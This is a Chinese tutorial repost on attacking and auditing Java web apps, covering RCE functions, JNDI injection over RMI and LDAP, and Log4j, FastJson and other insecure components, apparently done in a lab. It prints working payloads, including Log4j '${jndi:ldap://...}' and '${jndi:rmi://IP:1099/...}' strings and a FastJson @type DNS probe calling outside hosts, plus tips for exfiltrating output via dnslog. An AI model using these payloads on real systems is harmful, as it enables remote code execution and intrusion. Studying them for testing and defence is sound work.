WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

这篇具有很好参考价值的文章主要介绍了WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

#知识点:
1、Java安全-RCE执行-5大类函数调用
2、Java安全-JNDI注入-RMI&LDAP&高版本
3、Java安全-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

一、演示案例-Java安全-RCE执行-5大类函数调用

1、GroovyExec

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

2、RuntimeExec

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

3、ProcessImpl

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

4、ProcessBuilder

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

5、ScriptEngineManager

检测:

黑盒看参数名和参数值

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

白盒看类函数名和可控变量(大部分白盒)

二、演示案例-Java安全-JNDI注入(RCE)-RMI&LDAP&高版本

介绍

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:
无黑盒思路
白盒看类函数名和可控变量

靶场演示

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
jndi本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

JDNI注入安全问题(导致RCE)

JDNI注入利用条件

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
但是有一种情况就是对方使用了高版本的jdk,然后该工具全部的payload都不行怎么办?

高版本绕过:
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
可以参考这两个文章,不过都是需要从代码去分析调试跟踪,是有一定门槛的。

三、演示案例-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

1、Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了。
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

2、Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

3、Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

4、FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

5、XStream

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

四、演示案例-白盒审计不安全组件漏洞

FastJson审计

1、源码搭建

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

2、看引用组件版本及代码实现

漏洞函数

JSON.parse()
JSON.parseObject()

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

3、找可控变量及访问实现

admin/product propertyJson

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

4、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

Log4j审计

1、看引用组件版本及实现

漏洞函数

logger.info 
logger.error

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

3、测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计

${jndi:rmi://47.94.236.117:1099/xxxx}

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计
一个一个试(因为不知道源码项目用的什么java版本运行)
WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网,# WEB安全篇,java,JNDI,框架安全,白盒审计文章来源地址https://www.toymoban.com/news/detail-760451.html

不回显常见判断通用方法:

1、直接将命令执行结果写入到静态资源文件里,如html、js等,然后访问。存在这个文件不就说明命令执行能够执行了。

2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。

到了这里,关于WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界-web篇(php_rce)详解

    每日一题,今天我们来攻防世界web篇(php_rce) 目录 1、利用system函数远程命令执行 2、查找文件目录 3、进入flag目录 4、查看flag文件拿到flag 首先打开题目:  这里我们可以看到打开后是一个ThinkPHP V5的界面,由此我们可以判断这是一个使用TinkPHP框架开发的,接下来我们由长期的

    2024年02月15日
    浏览(37)
  • 第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

    感谢N1CTF提供的题目 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护 这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

    2024年02月20日
    浏览(37)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(42)
  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知识点: 1、Java安全-原生反序列化-3大类接口函数利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记( ac ed 00 05 )开头,base64编码的特征为 rO0AB 。 JAVA常见的序列化

    2024年02月03日
    浏览(30)
  • WEB攻防-Java安全&JWT攻防&Swagger自动化&算法&签名&密匙&Druid未授权

    知识点: 1、Java安全-Druid监控-未授权访问信息泄漏 2、Java安全-Swagger接口-文档导入联动批量测试 2、Java安全-JWT令牌攻防-空算法未签名密匙提取 参考:https://developer.aliyun.com/article/1260382 Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监

    2024年02月04日
    浏览(33)
  • 第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

    思维导图: 常见服务的安全测试: 服务安全流程: 案例一:Mysql-未授权访问-CVE-2012-2122 利用 案例二: Hadoop-未授权访问-内置配合命令执行 RCE 案例三:Redis-未授权访问-Webshell任务密匙RCE 等 写入webshell  写入计划任务反弹shell ssh密钥链接 ​编辑利用自动化脚本去getshell redi

    2024年04月27日
    浏览(28)
  • 服务攻防-数据库安全-服务应用的安全问题以及测试流程-Mysql&Hadoop&未授权访问&RCE-漏洞复现

    目录 一、服务应用的安全问题 1、配置不当——未授权访问 2、安全机制——特定安全漏洞 3、安全机制——弱口令爆破攻击 二、服务应用的安全测试思路 1、判断服务是否开放 2、判断服务类型 3、判断利用方式 三、Mysql-未授权访问-CVE-2012-2122 利用 1、漏洞概述 2、漏洞复现

    2024年02月17日
    浏览(36)
  • Day69:WEB攻防-Java安全&JWT攻防&Swagger自动化&算法&签名&密匙&Druid泄漏

    目录 Java安全-Druid监控-未授权访问信息泄漏 黑盒发现 白盒发现 攻击点 Java安全-Swagger接口-导入联动批量测试 黑盒发现 白盒发现 自动化发包测试 自动化漏洞测试 Java安全-JWT令牌-空算法未签名密匙提取 识别 JWT 方式一:人工识别 方式二:Burp插件识别 解析JWT数据 JWT安全 空加

    2024年04月13日
    浏览(27)
  • 网络安全全栈培训笔记(55-服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE)

    知识点: 1、服务攻防数据库类型安全 2、RedisHadoopMysql安全 3、Mysql-CVE-2012-2122漏洞 4、Hadoop-配置不当未授权三重奏RCE漏洞 3、Redis-配置不当未授权三重奏RCE两漏洞 #章节内容: 常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制特定安全漏洞 3、安全机制弱口令爆

    2024年01月23日
    浏览(34)
  • 【java安全】RMI

    前言 RMI 全称为: Remote Method Invocation 远程方法调用,是java独立的一种机制。 RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法 在网络传输的过程中, RMI 中 对象 是通过 序列化的形式 进行编码 传输 ,既然有序列化,必然会有反序列化, RMI 服务端在接收到序

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包